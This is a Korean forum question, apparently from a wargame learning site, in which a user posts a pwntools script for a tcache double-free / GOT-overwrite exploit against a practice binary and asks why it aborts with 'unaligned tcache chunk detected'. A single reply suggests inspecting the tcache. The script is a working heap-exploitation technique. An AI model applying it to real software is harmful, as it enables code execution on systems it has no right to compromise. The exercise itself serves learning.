fd 값 질문
from pwn import *

p = process("./tcache_dup2")
e = ELF("./tcache_dup2")

def create_heap(size,data):
	p.sendlineafter("> ",'1')
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Data: ",data)

def modify_heap(idx,size,data):
	p.sendlineafter("> ",'2')
	p.sendlineafter("idx: ",str(idx))
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Data: ",data)

def delete_heap(idx):
	p.sendlineafter("> ",'3')
	p.sendlineafter("idx: ",str(idx))

get_shell = 0x401530
free = e.got['free']

create_heap(0x30,"aaaa")
create_heap(0x30,"bbbb")

delete_heap(0)
delete_heap(1)
modify_heap(1,0xa,b"A"*8+b"\x00")
delete_heap(1)

create_heap(0x30,p64(free))
create_heap(0x30,b"B"*8) 
create_heap(0x30,p64(get_shell))

delete_heap(1)

p.interactive()

tc_idx값을 3으로 만들기 위해 두번 동일한 크기의 chunk를 할당하고 free한후 하나의 chunk는 double free를 발생시켜 fd에 free_got 주소를 입력했습니다.
그리고 저는 다음번 할당때 double free에 사용했던 chunk가 할당되고 그다음에 fd값에 입력했던 free_got 주소로 할당될 거라고 생각했었는데 create_heap(0x30,p64(get_shell)) 이 부분에서 unaligned tcache chunk detected 라는 문구와 함께 종료되었는데 어떤 부분에서 잘못됐는지 잘 모르겠습니다ㅠ

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

음... 실제로 tcache에 값이 뭐가 들어갔는지 보시는게 좋을 것 같은데요 ㅎㅎ

2022.11.13. 21:26
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기